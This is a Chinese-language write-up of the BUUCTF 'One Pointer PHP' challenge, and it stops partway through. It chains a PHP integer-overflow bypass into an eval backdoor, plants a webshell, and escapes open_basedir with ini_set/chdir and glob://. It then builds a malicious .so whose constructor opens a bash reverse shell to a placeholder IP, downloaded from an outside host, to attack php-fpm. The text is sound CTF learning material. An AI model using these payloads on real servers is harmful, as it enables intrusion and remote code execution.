[BUUCTF][蓝帽杯 2021]One Pointer PHP

考点

PHP数组溢出

绕过open_basedir

攻击php-fpm绕过disable functions

Suid提权

源码

user.php

<?php
class User{
   
   
	public $count;
}
?>

add_api.php

<?php
include "user.php";
if($user=unserialize($_COOKIE["data"])){
   
   
	$count[++$user->count]=1;
	if($count[]=1){
   
   
		$user->count+=1;
		setcookie("data",serialize($user));
	}else{
   
   
		eval($_GET["backdoor"]);
	}
}else{
   
   
	$user=new User;
	$user->count=1;
	setcookie("data",serialize($user));
}
?>

第一步

反序列化cookies->data使其$count[++$user->count]=1

需要绕过if($count[]=1)语句进入else分支执行eval函数

PHP数组溢出

在 PHP 中，整型数是有一个范围的，对于32位的操作系统，最大的整型是2147483647，即2的31次方，最小为-2的31次方。如果给定的一个整数超出了整型（integer）的范围，将会被解释为浮点型（float）。同样如果执行的运算结果超出了整型（integer）范围，也会返回浮点型（float）。

测试：

<?php
class User{
   
   
    public $count;
}

$a = new User();
$a->count = 9223372036854775806;

$user=unserialize(serialize($a));
$count[++$user->count]=1;
var_dump($count);

if($count[]=1){
   
   
    echo "die";
}else{
   
   
    echo "success";
}
?>

输出

array(1) {
  [0]=>
  int(1)
}
die

所以这里只需要$a->count=9223372036854775806即long最大值时即可绕过(64位即2^64)

<?php

class User{
   
   
	public $count=9223372036854775806;
}
echo urlencode(serialize(new User()));
?>
//O%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A9223372036854775806%3B%7D

在请求信息中添加Cookie：data=O%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A9223372036854775806%3B%7D

第二步

查看phpinfo()

/add_api.php?backdoor=phpinfo();

disable_classes:
Exception,SplDoublyLinkedList,Error,ErrorException,ArgumentCountError,ArithmeticError,AssertionError,DivisionByZeroError,CompileError,ParseError,TypeError,ValueError,UnhandledMatchError,ClosedGeneratorException,LogicException,BadFunctionCallException,BadMethodCallException,DomainException,InvalidArgumentException,LengthException,OutOfRangeException,PharException,ReflectionException,RuntimeException,OutOfBoundsException,OverflowException,PDOException,RangeException,UnderflowException,UnexpectedValueException,JsonException,SodiumException
disable_functions:	stream_socket_client,fsockopen,putenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,iconv,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,error_log,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive
open_basedir:/var/www/html
Server API:FPM/FastCGI 

绕过open_basedir查看目录文件

ini_set绕过

open_basedir可以用经典的的ini_set+chdir绕过，先mkdir()创建一个子目录，然后再chdir()进去，ini_set("open_basedir", "..")就是合法的，当open_basedir变成..之后，就可以一路chdir("..")直达根目录，这时再ini_set("open_basedir", "/")就可以完全绕过open_basedir的限制了
一开始直接ini_set("open_basedir", "/")不行，因为根目录不在当前的open_basedir下

为了方便我们先传一个木马上去

add_api.php?backdoor=file_put_contents('/var/www/html/1.php','<?php eval($_POST[1]);?>');

读文件

1=mkdir('snakin');chdir('snakin');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));

发现有flag文件，尝试读取失败，应该有权限限制，需要提权

1=mkdir('snakin');chdir('snakin');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents('/flag'));

glob协议绕过

由于html目录可写，利用glob://协议先探测目录

<?php
printf('<b>open_basedir : %s </b><br />', ini_get('open_basedir'));
$file_list = array();
// normal files
$it = new DirectoryIterator("glob:///*");
foreach($it as $f) {
   
   
    $file_list[] = $f->__toString();
}
// special files (starting with a dot(.))
$it = new DirectoryIterator("glob:///.*");
foreach($it as $f) {
   
   
    $file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
   
   
        echo "{
     
     $f}<br/>";
}
?>

glob:// — 查找匹配的文件路径模式

读取配置文件

预期解：

读/usr/local/etc/php/php.ini

发现extension=easy_bypass.so

pwn

非预期：

读/etc/nginx/sites-enabled/default

发现

# pass PHP scripts to FastCGI server
	#
	location ~ \.php$ {
    root           html;
    fastcgi_pass   127.0.0.1:9001;
    fastcgi_index  index.php;
    fastcgi_param  SCRIPT_FILENAME  /var/www/html/$fastcgi_script_name;
    include        fastcgi_params;
    }

应该是通过未授权打FPM rce

攻击 php-fpm 绕过 disable_functions

反弹shell

编写拓展

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
   
   
    system("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'");
}

编译(linux上)

gcc evil.c -fPIC -shared -o evil.so

编译好之后将其上传到/tmp目录下

add_api.php?backdoor=mkdir('snakin');chdir('snakin');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');copy("http://xx.xx.xx.xx/evil.so","/tmp/evil.so");

伪造ftp服务器